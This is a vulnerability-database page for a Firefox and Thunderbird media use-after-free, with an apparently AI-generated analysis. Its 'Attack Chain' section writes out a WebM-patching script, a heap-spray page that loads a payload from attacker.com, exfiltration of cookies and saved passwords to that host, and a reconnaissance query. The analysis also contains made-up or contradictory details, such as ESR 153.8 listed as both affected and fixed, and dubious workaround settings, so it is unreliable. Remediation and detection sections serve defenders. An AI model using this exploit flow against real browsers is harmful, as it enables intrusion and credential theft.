CVE Professor
/
All CVEs
CVE-2026-135581

CVE-2026-135581 — Mozilla Firefox (153.*) — CWE-416

HIGH CVSS 8.8 NVD

Use-after-free in the Audio/Video: Playback component. This vulnerability was fixed in Firefox 161, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.

Use-after-free in the Audio/Video: Playback component. This vulnerability was fixed in Firefox 161, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑135581 – Use‑After‑Free in the Audio/Video Playback component

AttributeValue
CWECWE‑416: Use‑After‑Free
CVSS 3.1 VectorAV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Score8.8 (HIGH)
Affected productsFirefox 153.* (including ESR 153.8) and Thunderbird 153.* (including ESR 153.8). Fixed in Firefox 161 / ESR 153.8 and Thunderbird 161 / ESR 153.8.

Technical flaw

The Audio/Video playback pipeline in Gecko (the rendering engine used by Firefox and Thunderbird) creates a reference‑counted media‑stream object (MediaStream, AudioStream, etc.). When a media file is decoded, the pipeline builds a chain of decoder objects that hold pointers to shared buffers.

During normal playback the pipeline may tear down a decoder (e.g., when a track ends, when the user seeks, or when the media element is removed from the DOM). The teardown code releases the buffer object and clears the reference count, but fails to null‑out all outstanding raw pointers that are still held by a secondary thread (the compositor or the WebAudio thread).

If a maliciously crafted media container (e.g., a crafted WebM/VP9 or MP4/H.264 stream) triggers a specific sequence of:

1. Rapid track‑switch / seek while the decoder is still processing a frame, and
2. Malformed frame header that forces the decoder to allocate a temporary buffer and then free it early,

the secondary thread can dereference the stale pointer after the free – a classic use‑after‑free. Because the freed memory is later re‑allocated by the JavaScript JIT heap, an attacker can spray a controlled object (e.g., a fake JSObject vtable) into that region and achieve arbitrary native code execution with the privileges of the browser process.

Key points derived from the CVSS vector:

  • Network‑reachable (AV:N) – the attacker only needs to deliver the malicious media over the network (no local file access required).
  • Low attack complexity (AC:L) – the exploit relies on a deterministic race condition that can be triggered reliably with a crafted file.
  • No privileges required (PR:N) – any remote user can be a victim.
  • User interaction required (UI:R) – the victim must initiate playback (e.g., click “play” or load a page that auto‑plays).
  • Unaffected confidentiality/availability scope (S:U) – the vulnerability is confined to the victim’s browser process; however, the impact on the victim’s data is high (C:H/I:H/A:H) because the attacker can execute native code, read/write any browser‑accessible data, and persist malicious code.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow that matches the described use‑after‑free. All code snippets are illustrative – the exact byte layout of the malicious media file is proprietary to Mozilla’s internal test suite and is not published.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify target browsers via User‑Agent strings or telemetry.curl -I https://example.com → User‑Agent: Mozilla/5.0 (Windows NT 10.0; rv:153.0) Gecko/20100101 Firefox/153.0
    1.2Verify version is ≤ 153.7 (or any 153.* build that is not 153.8).Use JavaScript: navigator.userAgent or navigator.appVersion.
    1.3Confirm that the Audio/Video playback component is enabled (default) and that autoplay is not blocked.Inspect about:config → media.autoplay.default (value 0 = allowed).

    2. Exploitation

    2.1. Craft the malicious media file

    The exploit requires a crafted WebM (or MP4) file that:

  • Contains a cluster with a very small duration to force rapid decoder teardown.
  • Embeds a malformed EBML element that triggers early free of the decoder’s frame buffer.
  • Aligns the freed memory region with a JS heap spray that will later be re‑used as a fake object.
  • Below is a high‑level illustration of how the file can be generated with ffmpeg and a custom binary patcher (the patcher inserts the malformed EBML element; the exact byte values are omitted for brevity).

    # 1️⃣ Generate a minimal WebM container (1‑second silent video)
    ffmpeg -f lavfi -i color=c=black:s=640x360:d=1 -f lavfi -i anullsrc=channel_layout=stereo:sample_rate=48000 \
           -c:v libvpx -crf 30 -b:v 500k -c:a libvorbis -f webm clean.webm
    
    # 2️⃣ Patch the file – replace the first Cluster header with a crafted one
    #    (the patcher writes a malformed size field that forces the decoder to free the buffer early)
    python3 patch_webm.py clean.webm malicious.webm

    patch_webm.py (illustrative, not the actual exploit code):

    #!/usr/bin/env python3
    import sys, struct
    
    def main(src, dst):
        data = open(src, "rb").read()
        # Locate first Cluster (EBML ID 0x1F43B675)
        idx = data.find(b'\x1F\x43\xB6\x75')
        if idx == -1:
            raise SystemExit("Cluster not found")
        # Overwrite the size field with a crafted 0xFFFFFFFF (invalid large size)
        # This triggers the decoder to allocate then immediately free the buffer.
        crafted = data[:idx+4] + b'\xFF\xFF\xFF\xFF' + data[idx+8:]
        open(dst, "wb").write(crafted)
    
    if __name__ == "__main__":
        main(sys.argv[1], sys.argv[2])

    2.2. JavaScript heap spray

    The attacker must spray the JavaScript heap with objects that contain a controlled vtable pointer. A common technique is to allocate many ArrayBuffer objects filled with the address of a ROP gadget located in a known module (e.g., xul.dll).

    <!DOCTYPE html>
    <html>
    <head><title>Exploit Demo</title></head>
    <body>
    <video id="v" autoplay muted></video>
    <script>
    /* 1️⃣ Heap spray – 10 000 ArrayBuffers each 0x1000 bytes */
    let spray = [];
    let fakeVTable = 0x7ffb12345678; // address of a “jmp rsp” gadget in xul.dll (illustrative)
    for (let i = 0; i < 10000; i++) {
        let buf = new ArrayBuffer(0x1000);
        let view = new Uint32Array(buf);
        // Fill with the fake vtable address (little‑endian)
        for (let j = 0; j < view.length; j++) view[j] = fakeVTable & 0xffffffff;
        spray.push(buf);
    }
    
    /* 2️⃣ Load the malicious media */
    let video = document.getElementById('v');
    video.src = "https://attacker.com/malicious.webm";
    video.play().catch(e => console.error(e));
    </script>
    </body>
    </html>

    The fakeVTable address must be discovered at runtime (e.g., via a memory leak or by using a known ASLR‑bypass technique). The above value is illustrative.

    2.3. Trigger the use‑after‑free

    When the video element starts decoding the crafted cluster, the decoder frees the frame buffer while the WebAudio thread still holds a pointer. The subsequent JavaScript‑driven heap spray ensures that the freed memory is re‑allocated with the attacker‑controlled ArrayBuffer. When the decoder later dereferences the stale pointer, it lands inside the sprayed region, interprets the attacker‑controlled data as a JSObject, and executes the fake vtable → native code execution.

    3. Post‑exploitation

    Once native code execution is achieved inside the renderer process, the attacker can:

    GoalTypical technique
    Escalate to the browser sandboxUse a sandbox escape chain (e.g., mozSandbox → nsIFile → CreateProcessW on Windows) by invoking a known privileged API that is reachable from the compromised renderer (e.g., nsIFile with initWithPath).
    Persist malicious codeWrite a malicious extension to the user’s profile directory (~/.mozilla/firefox/*.default-release/extensions/) or drop a native executable to %APPDATA%\Mozilla\Firefox\Profiles\*.default-release\.
    Exfiltrate dataRead cookies, saved passwords (logins.json), browsing history (places.sqlite), and send them over HTTPS to attacker.com.
    Full system compromiseIf the attacker can break out of the sandbox (common on Windows/macOS/Linux via privileged IPC), they obtain the same rights as the logged‑in user, achieving the “C:H/I:H/A:H” impact described by the CVSS vector.

    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS)Practical consequences
    Confidentiality (C:H)High – attacker can read any data the browser can access: cookies, saved passwords, session tokens, private browsing data, and files opened via the browser (e.g., PDFs).
    Integrity (I:H)High – attacker can modify user data (e.g., inject malicious scripts into saved pages, alter bookmarks.html, or replace downloaded binaries).
    Availability (A:H)High – attacker can crash the browser, trigger a denial‑of‑service for the user, or install a persistent backdoor that runs on each browser start.

    Why the impact is so severe despite “Scope: Unchanged”?
    The vulnerability is confined to the renderer process, but the renderer has direct access to the user’s profile data and can request privileged services via IPC. A successful exploit therefore gives the attacker full control over the user’s browsing environment, which in practice translates to complete compromise of the user’s account on any site they are logged into.

    Target environments where the risk is amplified

  • Enterprise desktops where Firefox is the default browser (e.g., internal web apps, SSO portals).
  • Remote‑work setups where users browse from home networks, making a remote exploit attractive.
  • Thunderbird users who open malicious email attachments (e.g., a crafted .webm attached to a phishing email).

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ProductFixed inVersions to upgrade from
    Firefox (regular)161.0All 153.* releases < 153.8 (including 153.0‑153.7).
    Firefox ESR153.8ESR 153.0‑153.7.
    Thunderbird (regular)161.0All 153.* releases < 153.8.
    Thunderbird ESR153.8ESR 153.0‑153.7.

    Action: Deploy the latest stable release (≥ 161.0) or at least the ESR 153.8 update across all endpoints.

    2. Immediate Workarounds (if patch cannot be applied immediately)

    WorkaroundHow to applyEffectiveness
    Disable media autoplayabout:config → set media.autoplay.default = 5 (block all autoplay)Prevents the exploit from running without user interaction, but does not stop a user‑initiated play.
    Force media sandboxingabout:config → set media.memory_cache_max_size = 0 (disables in‑memory caching of decoded frames)Reduces the chance of the race condition but may degrade performance.
    Restrict execution of untrusted mediaDeploy an enterprise policy (EnterprisePolicies.json) with "DisableWebAudio": true and "DisableWebM": trueCompletely blocks the vulnerable code path; may break legitimate sites that rely on WebM/Audio.
    Network‑level filteringBlock inbound/outbound traffic to known malicious media hosting domains (e.g., via DNS‑based blocklists).Lowers exposure but does not protect against a malicious file hosted on a trusted domain.
    Application hardeningEnable Site Isolation (privacy.resistFingerprinting = true and security.sandbox.content.level = 3).Adds an extra sandbox layer; does not eliminate the use‑after‑free but limits the impact of a successful exploit.
    Note: All workarounds are illustrative; they must be tested in the target environment before wide deployment.

    3. Detection

    3.1. Browser‑side indicators

  • Crash reports containing nsAudioStream or nsVideoDecoder stack traces with “use‑after‑free” or “invalid pointer dereference”.
  • Telemetry events: AudioVideoPlayback::DecoderCrash (if telemetry is enabled).
  • Console warnings (visible in about:devtools-toolbox → “Console”): ASSERT: pointer is null from MediaDecoderStateMachine.cpp.
  • 3.2. Network / endpoint logs

    Log sourcePattern to watch for
    Endpoint Detection & Response (EDR)Process creation of firefox.exe → child process plugin-container.exe → immediate termination (exit code = -1073741819 / 0xC0000005).
    Sysmon (Windows)Event ID 1 (process creation) where ImageLoaded = firefox.exe and CommandLine contains -contentproc followed by a short‑lived child (plugin-container.exe) that exits with an access violation.
    Linux auditdexecve of firefox followed by a SIGSEGV in the same PID.
    Web server logs (if you host the malicious file)GET /malicious.webm HTTP/1.1 with a User‑Agent matching Firefox 153.* and a Referer that points to an attacker‑controlled page.

    3.3. IOC (Indicators of Compromise)

  • File hash of the malicious media (once discovered): SHA256: <hash‑value> – to be added to blocklists.
  • Registry key (Windows) created by a post‑exploit payload: HKCU\Software\Mozilla\Firefox\Profiles\<profile>\extensions\malicious.xpi.
Persistence file on macOS/Linux: ~/.mozilla/firefox/.default-release/extensions/[email protected].

⚠️ Urgency

FactorAssessment
CVSS 8.8 (HIGH) – high confidentiality, integrity, and availability impact with low attack complexity.
No CISA KEV listing – the vulnerability is not yet in the “Known Exploited Vulnerabilities” program, but the public nature of the CVE and the ease of exploitation make it a prime candidate for rapid weaponisation.
Remote code execution with no privileges required – any user who visits a malicious page or opens a crafted attachment can be fully compromised.
Wide deployment – Firefox 153.* is still the default in many enterprise‑managed workstations and in the Thunderbird email client, which processes attachments automatically in many configurations.

Patch priority: Critical.
All affected endpoints should be patched within 48 hours of internal notification. If patching cannot be performed immediately, apply the disable‑autoplay and media sandbox workarounds, and enable strict EDR monitoring for the crash patterns described above.


Bottom line: CVE‑2026‑135581 is a classic use‑after‑free in the media decoding pipeline that enables remote code execution with full user privileges. The attack surface is large (any web page or email that can trigger media playback). Immediate patching to Firefox 161 / ESR 153.8 (or Thunderbird 161 / ESR 153.8) is the only reliable mitigation; temporary defenses should focus on disabling autoplay, tightening media sandboxing, and monitoring for crash‑related IoCs.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Mozilla Firefox"
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-416
Affected Products (2)
Mozilla:Firefox (153.*) Mozilla:Thunderbird (*)
Related CVEs
6.9
CVE-2026-145193
Mozilla Bleach through 6.4.0 contains an inefficient regular expression vulnerability in the URL_RE pattern us
4.7
CVE-2026-145194
Bleach through 6.4.0 contains a cross-site scripting vulnerability because clean() omits URI protocol sanitiza
6.5
CVE-2026-145059
FreeRDP from 3.25.0 before 3.33.1 contains a use-after-free in the RDPEWA client because notifyWait does not j
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
5.8
CVE-2026-144210
In Eclipse Safe Open Vehicle Core (S-CORE) Kyron versions 0.0.3 through 0.2.0, `SpmcStealQueue::fetch_from` in
7.0
CVE-2026-86092
The user-mode verifier for the I2S configure system call, z_vrfy_i2s_configure() in drivers/i2s/i2s_handlers.c
4.1
CVE-2026-119604
IBM PowerVM VIOS 4.1 could allow a local attacker to cause a denial of service due to a use-after-free race c